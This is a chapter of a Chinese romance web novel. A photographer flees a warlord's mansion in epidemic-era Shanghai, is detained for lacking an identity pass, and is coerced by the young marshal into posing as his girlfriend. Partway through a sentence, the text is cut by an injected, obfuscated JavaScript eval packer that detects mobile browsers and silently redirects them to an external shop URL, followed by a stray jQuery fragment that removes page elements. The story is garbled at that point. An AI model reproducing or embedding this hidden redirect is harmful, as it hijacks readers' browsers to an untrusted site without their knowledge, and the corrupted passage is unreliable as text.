许薇薇不记得自己是怎么从地下室跑出来的。
只记得楼梯很陡，灯光很暗，脚下一步一绊。皮箱忘了拿，相机忘了拿，母亲的戒指也忘了拿——她什么都没拿，只带走了自己。
帅府的大门在身后关上的那一刻，夜风迎面扑来，带着黄浦江的腥味和法国梧桐的苦涩。
她站在台阶上，大口大口地喘气。
嘴唇还疼着。破了皮，有一股铁锈味。
她抬手擦了一下，手背上沾了一抹淡淡的红。
不能回去。不能回那个房间，不能再见沈毅行那个疯子。
她拢了拢被扯乱的衣领，沿着马路快步往前。没有方向，没有目的，只想离那扇黑漆大门越远越好。
走了大约一刻钟，她才意识到自己穿着拖鞋。
月白色的软底绣花拖鞋，踩在青石板路上，又薄又凉，石子硌得脚心生疼。
她停下来，站在一盏路灯下面。
申城的夜风很凉，吹得她单薄的旗袍贴在身上，冷意从布料渗进皮肤，从皮肤渗进骨头。
去哪里？
回霞飞路。回照相馆。那是她唯一能去的地方。
她拦了一辆黄包车，说了地址。
车夫看了她一眼——半夜独自站在路边，头发散乱，嘴唇上有伤。
但车夫什么都没问，拉起车就跑。
车轮碾过空荡荡的街道，发出咕噜咕噜的声响。路两旁的法国梧桐在夜风里沙沙作响，像无数只手在黑暗里摇晃。
许薇薇蜷在车座上，双臂环抱着自己，脑子里乱成一锅粥。
车到霞飞路的时候，许薇薇愣住了。
整条街变了样。
不是封城时的冷清——封城时至少还能看见哨兵、路障、铁丝网后面偶尔走过的行人。
现在，什么都没有了。
街道两旁的店铺，全部钉上了木板。从街头到街尾，一间接一间，横的竖的木板把橱窗和门脸封得严严实实，像一排排棺材。
她跑向照相馆。
门还在。但门上钉了六块木板，交叉着，用拳头粗的铁钉砸进去，钉得死死的。
橱窗也封了。她挂在橱窗里的那几张照片——雨中的外白渡桥、弄堂口的馄饨老头、爱丁堡的灰色石街——全被木板挡在后面，看不见了。
门口贴着两张纸。
一张是法租界工部局的封门通知，大意是疫情严重，为减少人员流动，霞飞路所有商铺暂停营业，恢复时间另行通知。下面盖着工部局的红戳。
另一张是申城警备司令部的补充规定，比工部局的更详细、也更冷酷——“疫情防控期间，霞飞路全线封闭。原住商户如需进入店内取回个人物品，须向警备司令部防疫办公室提交书面申请，经审核批准后，在指定时间由工作人员陪同进入。擅自破封者，以妨碍公务论处。”
许薇薇把那张纸看了三遍。
书面申请。审核批准。指定时间。工作人员陪同。
许薇薇靠在门板上，木板硌着她的后背，冰凉粗糙。
她忽然想起一件重要的事——良民证不在身边。
现在口袋里只有一块手帕和两张皱巴巴的纸币。
五天前，陈铭来帅府送防疫宣传手册的样稿，顺便带了一沓表格。
“许小姐，防疫登记，少帅让所有人都填一下。上面要求的，疫情严重，全市人口都要登记。”
她没多想，把良民证给了陈铭，陈铭说填完就送回来。
然后——
就没有然后了。
证件还在陈铭手里。
许薇薇站在封了门的照相馆门口，夜风从街口灌进来，吹得她浑身发冷。
口袋里那几张零钱，不够在申城任何一家体面的旅馆住上一晚。
没有证件，连最差的旅店都住不了。
天快亮了。
路灯一盏一盏地熄灭，远处的天边泛起一抹鱼肚白。
许薇薇沿着霞飞路走了很久，走到街尾，拐了个弯，在一家通宵营业的小面馆里坐下来。
老板是个五十多岁的胖女人，围裙上全是油渍，正在灶台后面打瞌睡。
“老板，一碗阳春面。”
面端上来，热气模糊了她的脸。
她拿起筷子，挑了几根面条，又放下了。
吃不下。
嘴唇上的伤口碰到热汤，疼得她哆嗦了一下。
老板靠在灶台边上，看了她一眼：“姑娘，天都还没亮，你从哪儿来？你是在百乐门跳舞的吗？看你这样，不太像啊……”
被老板误会是夜场舞女，许薇薇没有着急解释。
她低下头，看着碗里慢慢涨开的面条。
“我不是从那里来……老板，跟你打听个事，这附近有没有那种……不用良民证就可以住的旅馆？”
老板看了她一眼，目光从她嘴唇上的伤移到她散乱的头发上，又移到她身上那件虽然皱了但料子极好的旗袍上。
“有。出门左拐，走两条街，有个‘平安客栈’。一晚上五毛钱，不需要证件。但那地方……姑娘，你住那儿不合适。”
“怎么不合适？”
老板犹豫了一下：“住的都是些……跑江湖的，逃难的。一个姑娘家，不安全。”
不安全。
这世道，哪儿还有安全的地方？
吃完面，许薇薇按老板指的路找到了那家客栈。
说是客栈，其实就是一栋老旧的筒子楼，门口挂着一块歪歪扭扭的招牌，木门上的红漆剥落了大半，门框上贴着褪色的春联，还剩半张在风里飘。
柜台后面坐着一个干瘦的老头儿，戴着老花镜，正在昏黄的灯光下打算盘。
“住店？”
“住。一晚上多少钱？”
“六毛。先交钱。”
许薇薇掏出几张纸币，数了数，刚好够三天的房钱。
“先住三天。”
老头儿接过钱，从抽屉里拿出一把钥匙，扔在柜台上。
“二楼，走廊最里头那间。厕所在楼下，热水早上七点到九点，晚上六点到八点。过了点儿没有。”
“不要良民证吗？”
老头儿抬头看了她一眼，目光在她脸上停了一瞬。
“有良民证的，房费是五毛。没有就是六毛。你有良民证？”
许薇薇摇摇头，拿了钥匙上楼。
走廊很窄，只够一个人走。灯坏了一半，隔一盏亮一盏，把地面照得明一块暗一块。墙上的白灰起了皮，有的地方露出下面灰黑色的砖。
她找到最里头那间，用钥匙开了门。
房间很小。一张木板床，铺着薄薄的褥子，床单不知道多久没洗了，泛着灰黄色。一张桌子，一把椅子，桌上放着一个缺了口的茶缸。
窗户临街，玻璃碎了一角，用报纸糊着，风从缝隙里灌进来，报纸呼啦呼啦地响。
许薇薇关上门，靠在门板上，慢慢滑坐到地上。
她抱着膝盖，把脸埋进臂弯里。
不能哭。
不能哭。
她不能哭。
可眼泪还是掉了下来。
许薇薇不知道自己是怎么睡着的。
只记得后来躺在那张硬邦邦的床上，和衣蜷着，薄被不敢盖——上面有一股说不清的味道。
窗外的天从漆黑变成深蓝，从深蓝变成灰白，有人在外面的巷子里咳嗽，一声接一声，像要把肺咳出来。
她迷迷糊糊地合了一会儿眼。
突然被一阵砸门声惊醒。
“开门！查房！”
许薇薇猛地从床上坐起来，心脏砰砰直跳。门外的声音粗暴蛮横，不像客栈的人。
“开门！治安所的！查证件！”
她跳下床，光着脚踩在冰凉的地上。
门还在砸。不是敲，是砸，拳头擂在薄木板上，整扇门都在抖。
“再不开门我们踹了！”
许薇薇深吸一口气，走过去，拔开门闩。
门外站着三个穿黑色制服的治安警。打头的是个矮胖的中年男人，满脸横肉，嘴里叼着根牙签，眼睛在她身上上下打量。
“良民证。”
“我……证件不在身上。前两天被人拿去登记了，还没还回来。我姓许，是霞飞路‘时光留影’照相馆的老板。你们可以去查——”
“没良民证？”矮胖男人把牙签从嘴里拿出来，往走廊里啐了一口，“没证件你住这儿？从哪儿来的？来申城干什么？”
“我不是从外地来的。我一直在申城住，因为疫情被封在外面了，进不去照相馆——”
“疫情？”另一个年轻的治安警插嘴，“你这嘴上的伤怎么回事？”
许薇薇下意识地抬手挡了一下嘴唇。
年轻警察冷笑了一声：“该不会是暗娼吧？没证件的，半夜在小旅馆住的，十有八九是暗娼。”
“我不是！”许薇薇的声音猛地拔高了，“我是正经开照相馆的。你们可以查。我有营业执照，地址在霞飞路——”
“行了行了。”矮胖男人摆摆手，“有什么话回所里说。带走。”
“你们不能这样！我没有犯法——”
“没有良民证就是犯法。”矮胖男人横了她一眼，“市政府的防疫令，所有在申城居住的人必须随身携带良民证，随时接受检查。你没有，就是违法。带走带走。”
一个警察伸手来拽她的胳膊。
许薇薇躲了一下。
“我自己走。不用拉。”
她穿好鞋，跟着那三个人走出客栈。
天已经亮了。
客栈门口停着一辆黑色的囚车，车门敞开着，里面已经坐了几个人——一个胡子拉碴的中年男人，一个抱着孩子的年轻女人，还有一个头发花白的老头儿。
看见许薇薇被带出来，那个女人往旁边挪了挪，给她让出一个位置。
“姑娘，你也没良民证？”女人低声问。
许薇薇点了点头。
女人叹了口气：“这世道，有良民证的也得被抓。我男人在纱厂做工，干了三年，什么证都有。前天在路上走，被巡捕拦下来，说他是流民，抓走了。我带着孩子来找他，自己也被抓了。”
“那你住哪儿？”
“哪儿都住过。桥洞、车站、公园的长椅……”女人低下头，声音越来越小，“孩子跟着我受苦。”
许薇薇看了一眼她怀里那个孩子。三四岁的男孩，瘦得脸颊凹陷，闭着眼睛，呼吸很轻，不知道是睡着了还是病了。
车子开动了，在坑坑洼洼的路面上颠簸。
许薇薇靠在车厢的铁皮上，看着窗外的街景一帧一帧地向后退去。那些熟悉的街巷、店铺、梧桐树，在晨光里蒙着一层灰蒙蒙的雾气。
申城还是那个申城。
可她已经不认识它了。
治安所在华界的一条偏街上，一栋灰扑扑的两层小楼，门口的牌子上写着“申城警备司令部治安管理处第三分所”。
许薇薇被带进去的时候，走廊里已经排了一长溜人。
男的女的，老的少的，有的站着，有的蹲着，有的直接坐在地上。空气里弥漫着汗味、霉味和消毒水的刺鼻气味。
她被安排坐在走廊尽头的长椅上。
对面坐着一个年轻男人，二十出头，穿着一件破旧的军绿色棉袄，脚上的胶鞋裂了口，露出黑漆漆的脚趾头。
他看了许薇薇一眼，低声说：“你也被抓了？”
许薇薇没回答。
“我是因为没带良民证。”年轻男人继续说，“我良民证上有照片，只是忘带了。他们非说我是流民。”
许薇薇低下头，看着自己脚上那双绣花拖鞋。
鞋面沾了灰，缎面的光泽已经被磨没了，白色的鞋底踩成了灰色。
她穿着这双鞋从帅府跑出来，跑了整整一夜。
她现在这副样子，确实像一个流民。
等了将近两个钟头，终于轮到她。
审讯室很小，只有一张桌子、两把椅子。桌上放着一盏台灯，灯罩歪着，光打在桌面上，照出一块椭圆形的光圈。
一个穿军装的中年男人坐在桌子后面，面前摊着一本厚厚的登记簿。他抬头看了许薇薇一眼，面无表情。
“姓名。”
“许薇薇。”
“年龄。”
“二十四。”
“籍贯。”
“苏州。”
“做什么的？”
“开照相馆。在霞飞路，‘时光留影’。”
军官在登记簿上写了几笔，又抬头看她。
“良民证呢？”
“被人拿走登记了，没还回来。”
“被谁拿走了？”
许薇薇张了张嘴。
她不想说陈铭的名字。说了，就绕不开沈毅行。
“一个朋友。他拿去帮我办防疫登记，一直没送回来。”
“什么朋友？叫什么名字？住哪儿？”
许薇薇沉默了。
军官把笔放下，靠在椅背上。
“许小姐，你说你在霞飞路开照相馆，可霞飞路已经封了。你说友拿走了你的证件，可你连朋友的名字都不肯说。你让我怎么相信你不是流民？”
“我不是流民。我有照相馆的营业证，有在申城缴税的记录。你们可以在工部局查到。”
“工部局？”军官冷笑了一声，“许小姐，这里是治安所。不是法租界的工部局。你没有良民证，就是流民。”
许薇薇的手指攥紧了。
“那我现在怎么办？”
“两个选择。”军官竖起两根手指，“第一，遣送回原籍。你是苏州人，我们会把你送回苏州。到了那边，你自己想办法。”
“第二呢？”
“第二，你找个在申城有良民证的人来保你。保人需要来这里签字画押交保证金。签了字，你走。”
许薇薇低下头。
苏州。那里没有家，没有亲人，什么都没有。
保人。在申城，她认识的人屈指可数。照相馆的几个老顾客、周松龄、陈铭、沈毅行。
周松龄——她忽然想起来，上次打电话给周松龄，他的事务所一直没人接，她以为是疫情放假。
“军官，我想打个电话。”
军官看了她一眼，从抽屉里拿出一部黑色的手摇电话，推到桌子角上。
“长话短说。”
许薇薇拿起电话，摇了三圈。
“给我接周松龄律师事务所。”
电话那头响了很多声，没有人接。
她又拨了一遍。还是没人接。
她咬了咬牙，拨了第三个号码。
“接司令部。找陈副官。”
电话那头转了几道弯，终于有人接起来。
“哪位？”
“陈副官，是我，许薇薇。我现在在治安三分所，因为没带良民证被扣了。你能不能来保我一下？或者把我的良民证送过来也行。”
电话那头沉默了几秒。
“许小姐，您稍等。我马上转告少帅。”
“不用转告少帅！你来就行——”
电话已经挂了。
还是绕不开沈毅行。
等了不到二十分钟。许薇薇知道他会来，她没想到会这么快。
走廊尽头传来一阵脚步声。
不是一个人，是好几个人。军靴踩在水磨石地面上，咔嗒咔嗒，整齐划一，像踩着节拍。
走廊里的人自动让开一条道。
许薇薇抬起头，看见沈毅行站在走廊的另一头。
他身后跟着陈铭和四个卫兵，个个全副武装，脸色铁青。
“你跑到这儿来了？”沈毅行的声音不大，但走廊里所有人都听见了，“你知不知道，老子找你找了一晚上？”
许薇薇抬起头看着他的脸，眼底下有淡淡的青色，下巴上冒出青色的胡茬——显然一夜没睡。
许薇薇没有说话。
“脸上的伤怎么回事？谁弄的？”
“我自己磕的。”
“磕的？”沈毅行看了她嘴唇上的伤口一眼，目光暗了一下。那个伤口怎么来的，他比谁都清楚。“你就这么跑出来，连鞋都不换？”
他低头看了一眼她脚上那双脏兮兮的绣花拖鞋，脸色更难看了。
“陈铭。”
“属下在。”
“把这儿的负责人给我叫来。”
不到一分钟，治安三分所的所长小跑着过来，额头上全是汗。
“少、少帅，您怎么来了？属下不知道您要来，有失远迎——”
“少废话。谁把许小姐抓来的？”
所长回头看了一眼，那个审问许薇薇的军官已经站在后面了，脸色白得像纸。
“我……我抓的。”
沈毅行站起身，走到他面前。
“你抓的？”
“这位许小姐……没带良民证，住在小旅馆里，形迹可疑——”
“形迹可疑？”沈毅行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629175|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的声音猛地拔高了，“老子的女人，在你眼里形迹可？你胆子不小！”
走廊里瞬间安静了。
所有人都看向许薇薇。
许薇薇的脸一下子红了，张了张嘴想反驳，但沈毅行没给她机会。
“没、没有……属下不知道许小姐是少帅的……”军官的声音越来越小，腰越弯越低，恨不得把头埋进地里。
沈毅行冷笑了一声：“那你现在知道了。”
他转过身，一把拉起许薇薇的手腕。
“走。跟我回家。”
“沈毅行，你放开——”
许薇薇挣扎了一下，但他攥得太紧，手指像铁箍一样扣在她的手腕上。
“你被当成暗娼抓到这里，很有脸吗？不回家，还想让老子放开？”
他的声音压得很低，只有她能听见。
“你再闹，信不信老子在这儿就把你扛走？”
许薇薇看着他的眼睛，满是血丝，像一头被激怒的野兽。
他是认真的。
她不再挣扎了。
沈毅行拉着许薇薇往外走，走廊里的人纷纷让路。
走出治安所大门，晨风迎面扑来，吹散了走廊里那股混浊的气味。
一辆黑色的斯蒂庞克停在门口，引擎已经发动了。
沈毅行拉开后座的门，把她塞进去，自己从另一边上车。
前排的司机目不斜视，前后座成了两个世界。
车子启动，驶入街道。
沉默了很久。
“你的良民证在我这儿。”沈毅行终于开口，声音哑得厉害，“相机也在我那儿。你跑什么？”
许薇薇靠在车门上，不看他。
“你不跑，就不会有这些事。”沈毅行顿了一下，“你知不知道我找了你一晚上？”
许薇薇没说话。
“我让陈铭带人找遍了霞飞路。后来有人汇报说看见你上了黄包车，又听说你进了治安所，我马上就赶过来——”
“你可以让陈铭来的。”
“陈铭来了能干什么？”沈毅行的声音猛地拔高了，“他来了，签字画押，你出去了。然后呢？你再去小旅馆住？再被抓？老子救你一次两次，还能救你三次四次？老子司令部里忙的很！”
许薇薇沉默了。
沈毅行深吸了一口气，像是把怒气压回胸腔里。
“在这个城市，能护住你的人，只有我。你认也好，不认也好，事实就是这样。”
车子驶入法租界，路两旁的法国梧桐一棵接一棵地向后退去。
许薇薇看着窗外，忽然开口。
“林晚呢？你放了吗？”
“没有。”
“你不讲理。她没有干坏事，你还要把她送到岭南去！”
“我没有把她送到岭南去。”沈毅行揉了揉太阳穴，“还在看守所关着，就是吓唬你的。你要是不信，我带你去看看？”
“不用。你先把她放了。”
“你先跟我回家。”
“你这是交换？”
“你不跟我回家，我当然不会轻易放了她。我要让她吃苦头，让她去找顾慎之求救！”
“我跟你回家，才是名不正言不顺！”许薇薇赌气似的扭过脸，望向车窗外。
车子拐进一条更窄的路，两旁的行道树遮天蔽日，把阳光剪成碎片，洒在车身上。
“做我的女朋友。女朋友住在我家，名正言顺，天经地义！”
许薇薇以为自己听错了。
“你说什么？”
“做我的女朋友。”沈毅行重复了一遍，不像是请求，更像是通知，“奶奶总是念叨我，讲我没有女朋友。南京那边也是……我父亲因为我没有结婚，一直说我难堪大用……”
“你应该告诉他们，你虽然没有女朋友，孩子倒是不少的。”许薇薇讽刺道。
“我现在不是逼你……是想跟你做个交易。”
“什么交易？我能捐的都捐了，你还想要什么？”
“我想要你假扮我女朋友……”沈毅行慢悠悠地说出了一句炸裂的提议，“作为交易，我可以放了林晚。”
许薇薇不屑地冷笑起来：“我和林晚不过一面之缘，算不得朋友。她还不值得我牺牲自己呢！少帅威胁错了人，你应该去威胁顾专员才是。林晚是顾专员的女朋友！”
“就算不在乎林晚，你还能不在乎周松龄吗？周大律师……他可是你爸爸最信任的人，也是很关照你的人。”
沈毅行顿了一下。
“周律师怎么了？我给他打电话，一直找不到他。你把他怎么了？”许薇薇的声音猛地绷紧了。
“周松龄被拘留了，三周前。许家兄弟举报他伪造许大年签名，按照程序，案子还在查，就先请他在看守所里住几天。”
许薇薇的脸一下子白了。
“你明明知道，那两个日本毛子是诬告！他们就是想讹钱！”
“是的。”沈毅行的语气很平静，“我只是按流程通知周律师来协助调查。”
“你能放他吗？”
“能。”沈毅行看着她，“但你得答应做我女朋友。我只会为女朋友破例。”
车子停了。停在帅府门口。那两扇黑漆大门敞开着，门口的石狮子张着嘴，露出锋利的牙齿。
沈毅行没有下车。他靠在座椅上，等她的回答。
许薇薇坐在车里，看着那扇她昨晚逃出来的大门。
逃了一夜，跑了半个申城。
最后，还是回来了。
“可以假扮，但我有条件。”
沈毅行的眼睛微微眯了一下。
“说。”
“第一，只在外面做样子，不是委身于你。你别搞错了。”
沈毅行沉吟了一下。
“好。还有呢？”
“第二，尽快释放周律师，他是无辜的，缩短你所谓的流程，尽快结案。”
“好。还有吗？”
“第三，我做这些只是假装女朋友哄你奶奶开心。你不能限制我的社交自由。我想见谁就见谁。”
沈毅行的嘴角抽动了一下，但没有发作。
“好。”
“你答应了？”
“答应了。”沈毅行推开车门，“但有一条——你说得对，这只是装装样子，哄老太太开心的。但你要是跟别的男人走得太近，让外面的人说闲话——”
“你刚才答应过不限制我的社交自由。”
“我没限制。”沈毅行下车，站在车门边，弯腰看着车里的她，“但你也要装得像一点。比如顾慎之那种人，就要离他远远的！”
许薇薇翻着白眼下了车，沈毅行想扶她，被她一下子甩开了。
她径直穿过青砖院子，走过游廊，上了二楼，推开那间房的门。
房间还是她走时的样子。雕花红木大床，淡青色的帐子。书桌上的台灯还亮着，灯罩是翠绿色的，磨砂玻璃透出温润的光。
她的皮箱放在床角，拉链开着，露出里面叠好的衣裳。
相机放在书桌上，用棉布包着，镜头盖盖得严严实实。
母亲的戒指放在梳妆台上，在灯光下泛着幽幽的绿光。
一切都还在。
她以为自己逃出去了。其实她哪儿都没去。
门外传来脚步声。
沈毅行站在门口，没有进来。
“明天，我让人送几身新衣裳过来。还有鞋。你这双鞋不能再穿了。”
许薇薇没有转身。
“周律师什么时候放？”
“明天。”沈毅行说，“我让他们明天一早就办。”
“林晚呢？”
“等顾慎之来领。他来，她就走。他不来，她就得等着。”
“好。”
“还有一件事。明天早餐，你要陪奶奶一起吃。她听说你走了，急得一夜没睡。你去陪她说说话。”
“好。”许薇薇转过身。
沈毅行靠在门框上，手里夹着一根烟，没有点。
“我知道任务了。你不用在这里看着我了。”
沈毅行看许薇薇没好气的模样，大概是觉得得逞了，露出胜利的笑容，打着哈哈走开了。
许薇薇站在窗前，看着窗外的桂花树。夜风从窗户的缝隙里钻进来，带着泥土和树叶的气息。
她把窗帘拉上。
今晚的月亮很圆，很亮，照得窗台上的灰尘都看得一清二楚。
可许薇薇觉得，从今往后的日子，大概再也亮不起来了。